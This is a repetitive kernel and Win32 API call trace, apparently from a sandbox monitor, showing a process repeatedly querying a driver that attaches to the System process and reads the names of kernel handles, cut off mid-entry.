[0119.447] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.447] PsAcquireProcessExitSynchronization () returned 0x0 [0119.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.447] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0119.447] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.447] PsReleaseProcessExitSynchronization () returned 0x2 [0119.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.447] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.447] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0119.447] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.447] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.447] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0119.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.447] PsAcquireProcessExitSynchronization () returned 0x0 [0119.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.447] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0119.447] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.447] PsReleaseProcessExitSynchronization () returned 0x2 [0119.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.447] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.447] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0119.447] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.448] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.448] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0119.448] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.448] PsAcquireProcessExitSynchronization () returned 0x0 [0119.448] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.448] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0119.448] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.448] PsReleaseProcessExitSynchronization () returned 0x2 [0119.448] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.448] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.448] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0119.448] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.448] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.448] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0119.448] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.448] PsAcquireProcessExitSynchronization () returned 0x0 [0119.448] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.448] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0119.448] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.448] PsReleaseProcessExitSynchronization () returned 0x2 [0119.448] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.448] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.448] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0119.448] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.448] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.448] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0119.448] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.449] PsAcquireProcessExitSynchronization () returned 0x0 [0119.449] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.449] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0119.449] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.449] PsReleaseProcessExitSynchronization () returned 0x2 [0119.449] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.449] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.449] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0119.449] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.449] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0119.449] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.449] PsAcquireProcessExitSynchronization () returned 0x0 [0119.449] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.449] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0119.449] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.449] PsReleaseProcessExitSynchronization () returned 0x2 [0119.449] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.449] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.449] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0119.449] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.449] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0119.449] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.450] PsAcquireProcessExitSynchronization () returned 0x0 [0119.450] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.450] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0119.450] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.450] PsReleaseProcessExitSynchronization () returned 0x2 [0119.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.450] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.450] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0119.450] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.450] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.450] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.450] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.450] PsAcquireProcessExitSynchronization () returned 0x0 [0119.450] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.450] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0119.450] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.450] PsReleaseProcessExitSynchronization () returned 0x2 [0119.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.450] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.450] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0119.450] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.450] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.450] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.450] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.450] PsAcquireProcessExitSynchronization () returned 0x0 [0119.450] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.450] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0119.450] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.451] PsReleaseProcessExitSynchronization () returned 0x2 [0119.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.451] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.451] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0119.451] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.451] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.451] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.451] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.451] PsAcquireProcessExitSynchronization () returned 0x0 [0119.451] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.451] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0119.451] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.451] PsReleaseProcessExitSynchronization () returned 0x2 [0119.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.451] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.451] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0119.451] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.451] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.451] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.451] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.451] PsAcquireProcessExitSynchronization () returned 0x0 [0119.451] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.451] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0119.451] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.451] PsReleaseProcessExitSynchronization () returned 0x2 [0119.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.451] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.451] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0119.451] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0119.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.452] PsAcquireProcessExitSynchronization () returned 0x0 [0119.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.452] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0119.452] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.452] PsReleaseProcessExitSynchronization () returned 0x2 [0119.452] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.452] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.452] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0119.452] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0119.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.452] PsAcquireProcessExitSynchronization () returned 0x0 [0119.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.452] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0119.452] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.452] PsReleaseProcessExitSynchronization () returned 0x2 [0119.452] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.452] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.452] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0119.452] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.452] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.452] PsAcquireProcessExitSynchronization () returned 0x0 [0119.452] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002511ad0, HandleInformation=0x0) returned 0x0 [0119.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.453] PsReleaseProcessExitSynchronization () returned 0x2 [0119.453] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.453] ObQueryNameString (in: Object=0xfffffa8002511ad0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.453] ObfDereferenceObject (Object=0xfffffa8002511ad0) returned 0x2 [0119.453] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.453] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.453] PsAcquireProcessExitSynchronization () returned 0x0 [0119.453] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800d9fb050, HandleInformation=0x0) returned 0x0 [0119.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.453] PsReleaseProcessExitSynchronization () returned 0x2 [0119.453] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.453] ObQueryNameString (in: Object=0xfffffa800d9fb050, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.453] ObfDereferenceObject (Object=0xfffffa800d9fb050) returned 0x2 [0119.453] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0119.453] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.453] PsAcquireProcessExitSynchronization () returned 0x0 [0119.453] KeStackAttachProcess (in: 